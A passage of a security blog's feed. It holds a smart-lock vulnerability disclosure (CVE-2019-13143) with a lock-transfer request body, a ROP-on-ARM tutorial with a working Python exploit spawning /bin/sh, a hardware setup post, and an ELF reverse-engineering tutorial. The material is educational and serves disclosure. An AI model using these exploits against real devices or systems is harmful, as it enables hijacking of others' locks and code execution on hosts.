 624{"name":"newname","userId":&lt;USER ID&gt;,"mac":"XX:XX:XX:XX:XX:XX"}
 625</code></pre>
 626
 627<h3 id="thats-it-the-scary-stuff">That&#8217;s it! (&amp; the scary stuff)</h3>
 628
 629<p>You should have the lock transferred to your account. The severity of this
 630issue lies in the fact that the original owner completely loses access to
 631their lock. They can&#8217;t even &#8220;rebind&#8221; to get it back, since the current owner 
 632(the attacker) needs to authorize that. </p>
 633
 634<p>To add to that, roughly 15,000 user accounts&#8217; info are exposed via IDOR.
 635Ilja, a cool dude I met on Telegram, noticed locks named &#8220;carlock&#8221;, 
 636&#8220;garage&#8221;, &#8220;MainDoor&#8221;, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
 637
 638<p><em>shudders</em></p>
 639
 640<h3 id="proof-of-concept">Proof of Concept</h3>
 641
 642<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
 643
 644<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
 645
 646<h3 id="disclosure-timeline">Disclosure timeline</h3>
 647
 648<ul>
 649<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
 650<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
 651<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
 652<li>No response from vendor</li>
 653<li><strong>2nd August 2019</strong>: Public disclosure</li>
 654</ul>
 655
 656<h3 id="lessons-learnt">Lessons learnt</h3>
 657
 658<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You&#8217;re better off with the &#8220;dumb&#8221; ones
 659with keys. With the IoT plague spreading, it brings in a large attack surface
 660to things that were otherwise &#8220;unhackable&#8221; (try hacking a &#8220;dumb&#8221; toaster).</p>
 661
 662<p>The IoT security scene is rife with bugs from over 10 years ago, like
 663executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development 
 664practices in general.</p>
 665
 666<p>Our existing threat models and scenarios have to be updated to factor 
 667in these new exploitation possibilities. This also broadens the playing 
 668field for cyber warfare and mass surveillance campaigns. </p>
 669
 670<h3 id="researcher-info">Researcher info</h3>
 671
 672<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
 673
 674<ul>
 675<li>Anirudh Oppiliappan (me)</li>
 676<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
 677<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
 678</ul>
 679
 680<div class="footnotes">
 681<hr />
 682<ol>
 683<li id="fn-1">
 684<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 685</li>
 686
 687<li id="fn-2">
 688<p>Thanks to Ilja Shaposhnikov (@drakylar).&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
 689</li>
 690
 691<li id="fn-3">
 692<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
 693</li>
 694</ol>
 695</div>
 696]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
 697assembly to follow along. I highly recommend
 698<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
 699Basics</a>. Once you’re
 700comfortable with it, proceed with the next bit — environment setup.</p>
 701
 702<h3 id="setup">Setup</h3>
 703
 704<p>Since we’re working with the ARM architecture, there are two options to go
 705forth with: </p>
 706
 707<ol>
 708<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU. 
 709And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
 710The scripts found inside should be self-explanatory.</li>
 711<li>Use actual ARM hardware, like an RPi.</li>
 712</ol>
 713
 714<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
 715may use <code>radare2</code>, IDA or anything else, really. All of which can be
 716trivially installed.</p>
 717
 718<p>And for the sake of simplicity, disable ASLR:</p>
 719
 720<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> &gt; /proc/sys/kernel/randomize_va_space
 721</code></pre></div>
 722
 723<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
 724<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
 725
 726<p>Compile it:</p>
 727
 728<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
 729</code></pre></div>
 730
 731<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
 732
 733<h3 id="a-primer-on-rop">A primer on ROP</h3>
 734
 735<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
 736used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
 737In essence, no code in the binary is actually modified and the entire exploit
 738is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
 739
 740<p>A gadget is essentially a small sequence of code (instructions), ending with
 741a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
 742code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
 743These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
 744to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
 745there’s generally a call to <code>system()</code>, to acheive code execution.</p>
 746
 747<p>In practice, the process of executing a ropchain is something like this:</p>
 748
 749<ul>
 750<li>confirm the existence of a stack-based buffer overflow</li>
 751<li>identify the offset at which the instruction pointer gets overwritten</li>
 752<li>locate the addresses of the gadgets you wish to use</li>
 753<li>craft your input keeping in mind the stack’s layout, and chain the addresses
 754of your gadgets</li>
 755</ul>
 756
 757<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;index=46&amp;t=0s">beautiful video</a> where he explains ROP using “weird machines”. 
 758Check it out, it might be just what you needed for that “aha!” moment :)</p>
 759
 760<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
 761that should put things into perspective.</p>
 762
 763<h3 id="exploring-our-binary">Exploring our binary</h3>
 764
 765<p>Start by running it, and entering any arbitrary string. On entering a fairly
 766large string, say, “A” × 20, we
 767see a segmentation fault occur.</p>
 768
 769<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
 770
 771<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
 772
 773<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
 774
 775<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and 
 776<code>gadget</code>. Disassembling the <code>main</code> function:</p>
 777
 778<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
 779
 780<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
 781to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are 
 782never actually called.</p>
 783
 784<p>Disassembling the <code>gadget</code> function:</p>
 785
 786<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
 787
 788<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
 789which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
 790instruction in the middle. This is a <strong>gadget</strong>.</p>
 791
 792<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
 793arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
 794are used for this. So this gadget effectively allows us to pass arguments to
 795functions using <code>r0</code>, and subsequently jumping to them by passing its address
 796in <code>pc</code>. Neat.</p>
 797
 798<p>Moving on to the disassembly of the <code>winner</code> function:</p>
 799
 800<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
 801
 802<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
 803So our end goal here is to, quite obviously, execute code via the <code>system()</code>
 804function.</p>
 805
 806<p>Now that we have an overview of what’s in the binary, let’s formulate a method
 807of exploitation by messing around with inputs.</p>
 808
 809<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3>
 810
 811<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
 812screenshot.</p>
 813
 814<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
 815
 816<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
 817the <code>pc</code> has been overwritten with our input.
 818So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
 819
 820<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
 821control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
 822
 823<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
 824of the second instruction — <code>add r11, sp, #4</code>. 
 825For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
 826the address of <code>winner</code>. Note the endianness.</p>
 827
 828<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">&#39;print(&quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&quot;)&#39;</span> <span class="p">|</span> ./rop2
 829</code></pre></div>
 830
 831<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
 832
 833<p>The reason we don’t jump to the first instruction is because we want to control the stack
 834ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
 835those out after <code>winner</code> is done executing and we will no longer control 
 836where it jumps to.</p>
 837
 838<p>So that didn’t do much, just prints out a string “Nothing much here&#8230;”. 
 839But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
 840to do what we want (run a command, execute a shell, etc.).</p>
 841
 842<p>To do that, we’ll follow a multi-step process: </p>
 843
 844<ol>
 845<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
 846<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
 847<code>r0</code>.</li>
 848<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
 849</ol>
 850
 851<p>The pseudo-code is something like this:</p>
 852
 853<pre><code>string = AAAABBBBCCCCDDDDEEEE
 854gadget = # addr of gadget
 855binsh  = # addr of /bin/sh
 856system = # addr of system()
 857
 858print(string + gadget + binsh + system)
 859</code></pre>
 860
 861<p>Clean and mean.</p>
 862
 863<h3 id="the-exploit">The exploit</h3>
 864
 865<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
 866It allows us to pack the bytes of addresses to the endianness of our choice.
 867It probably does a lot more, but who cares.</p>
 868
 869<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
 870at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
 871
 872<pre><code>(gdb) find &amp;system, +9999999, "/bin/sh"
 873</code></pre>
 874
 875<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
 876
 877<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
 878found from the disassmblies from earlier. Here’s the final exploit code:</p>
 879
 880<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
 881
 882<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
 883<span class="n">string</span> <span class="o">=</span> <span class="s2">&quot;AAAABBBBCCCCDDDDEEEE&quot;</span>
 884<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
 885<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
 886
 887<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
 888</code></pre></div>
 889
 890<p>Honestly, not too far off from our pseudo-code :)</p>
 891
 892<p>Let’s see it in action:</p>
 893
 894<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
 895
 896<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
 897when the pipe closes, since there’s no input coming in from STDIN.
 898To get around this, we use <code>cat(1)</code> which allows us to relay input through it
 899to the shell. Nifty trick.</p>
 900
 901<h3 id="conclusion">Conclusion</h3>
 902
 903<p>This was a fairly basic challenge, with everything laid out conveniently. 
 904Actual ropchaining is a little more involved, with a lot more gadgets to be chained
 905to acheive code execution.</p>
 906
 907<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
 908]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h3 id="hardware">Hardware</h3>
 909
 910<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
 9118 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
 912
 913<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
 914I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
 915
 916<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
 917
 918<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>. 
 919For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
 920
 921<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>. 
 922Great pair of headphones, although the ear cups need replacing.</p>
 923
 924<h3 id="and-the-software">And the software</h3>
 925
 926<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
 927window manager, all riced. I now use whatever JustWorks™.</del></p>
 928
 929<p><strong>Update</strong>: As of June 2019, I&#8217;ve switched over to a vanilla Debian 9 Stretch install,
 930running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
 931
 932<p>Here’s a (riced) screenshot of my desktop. </p>
 933
 934<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
 935
 936<p>Most of my work is done in either the browser, or the terminal.
 937My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
 938a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>.
 939My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
 940I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
 941
 942<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
 943clean and a single command to drop into a Kali shell.</p>
 944
 945<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
 946The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
 947
 948<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
 949]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
 950
 951<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
 952
 953<h3 id="setup">Setup</h3>
 954
 955<p>As the title suggests, you’re going to need a Python 3 interpreter before
 956anything else. Once you’ve confirmed beyond reasonable doubt that you do,
 957in fact, have a Python 3 interpreter installed on your system, run</p>
 958
 959<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
 960</code></pre></div>
 961
 962<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
 963
 964<p>With that out of the way, let’s start with an example of a basic reversing
 965challenge.</p>
 966
 967<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
 968
 969<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span>
 970<span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span>
 971<span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp"></span>
 972
 973<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
 974   <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
 975   <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;a&#39;</span><span class="p">;</span>
 976   <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
 977       <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
 978   <span class="p">}</span>
 979   <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
 980   <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
 981   <span class="n">printf</span><span class="p">(</span><span class="s">&quot;password: &quot;</span><span class="p">);</span>
 982   <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>        <span class="c1">// &#39;abcdefghi&#39;</span>
 983   <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
 984       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;haha yes!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
 985   <span class="p">}</span>
 986   <span class="k">else</span> <span class="p">{</span>
 987       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;nah dude</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
 988   <span class="p">}</span>
 989<span class="p">}</span>
 990</code></pre></div>
 991
 992<p>Compile it with GCC/Clang:</p>
 993
 994<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
 995</code></pre></div>
 996
 997<h3 id="scripting">Scripting</h3>
 998
 999<p>For starters, let’s look at the different sections present in the binary.</p>
1000
1001<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
1002
1003<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1004
1005<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1006    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1007    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1008        <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
1009</code></pre></div>
1010
1011<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
1012
1013<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
1014<span class="go">0x238 .interp</span>
1015<span class="go">0x254 .note.ABI-tag</span>
1016<span class="go">0x274 .note.gnu.build-id</span>
1017<span class="go">0x298 .gnu.hash</span>
1018<span class="go">0x2c0 .dynsym</span>
1019<span class="go">0x3e0 .dynstr</span>
1020<span class="go">0x484 .gnu.version</span>
1021<span class="go">0x4a0 .gnu.version_r</span>
1022<span class="go">0x4c0 .rela.dyn</span>
1023<span class="go">0x598 .rela.plt</span>
1024<span class="go">0x610 .init</span>
1025<span class="go">0x630 .plt</span>
1026<span class="go">0x690 .plt.got</span>
1027<span class="go">0x6a0 .text</span>
1028<span class="go">0x8f4 .fini</span>
1029<span class="go">0x900 .rodata</span>
1030<span class="go">0x924 .eh_frame_hdr</span>
1031<span class="go">0x960 .eh_frame</span>
1032<span class="go">0x200d98 .init_array</span>
1033<span class="go">0x200da0 .fini_array</span>
1034<span class="go">0x200da8 .dynamic</span>
1035<span class="go">0x200f98 .got</span>
1036<span class="go">0x201000 .data</span>
1037<span class="go">0x201010 .bss</span>
1038<span class="go">0x0 .comment</span>
1039<span class="go">0x0 .symtab</span>
1040<span class="go">0x0 .strtab</span>
1041<span class="go">0x0 .shstrtab</span>
1042</code></pre></div>
1043
1044<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
1045
1046<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
1047
1048<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
1049
1050<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1051<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
1052
1053<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./bin.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1054    <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1055    <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">&#39;.text&#39;</span><span class="p">)</span>
1056    <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
1057    <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]</span>
1058    <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
1059    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>        
1060        <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}&#39;</span><span class="p">)</span>
1061</code></pre></div>
1062
1063<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
1064
1065<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less      </span>
1066<span class="go">0x6a0: xor ebp, ebp</span>
1067<span class="go">0x6a2: mov r9, rdx</span>
1068<span class="go">0x6a5: pop rsi</span>
1069<span class="go">0x6a6: mov rdx, rsp</span>
1070<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
1071<span class="go">0x6ad: push rax</span>
1072<span class="go">0x6ae: push rsp</span>
1073<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
1074<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
1075<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
1076<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
1077<span class="go">0x6ca: hlt</span>
1078<span class="go">... snip ...</span>
1079</code></pre></div>
1080
1081<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
1082
1083<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
1084
1085<blockquote>
1086  <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
1087</blockquote>
1088
1089<p>To try and find these relocation entries, we write a third script.</p>
1090
1091<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
1092
1093<span class="kn">import</span> <span class="nn">sys</span>
1094<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1095<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
1096
1097<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1098    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1099    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1100        <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
1101            <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{section.name}:&#39;</span><span class="p">)</span>
1102            <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_link&#39;</span><span class="p">])</span>
1103            <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
1104                <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_info_sym&#39;</span><span class="p">])</span>
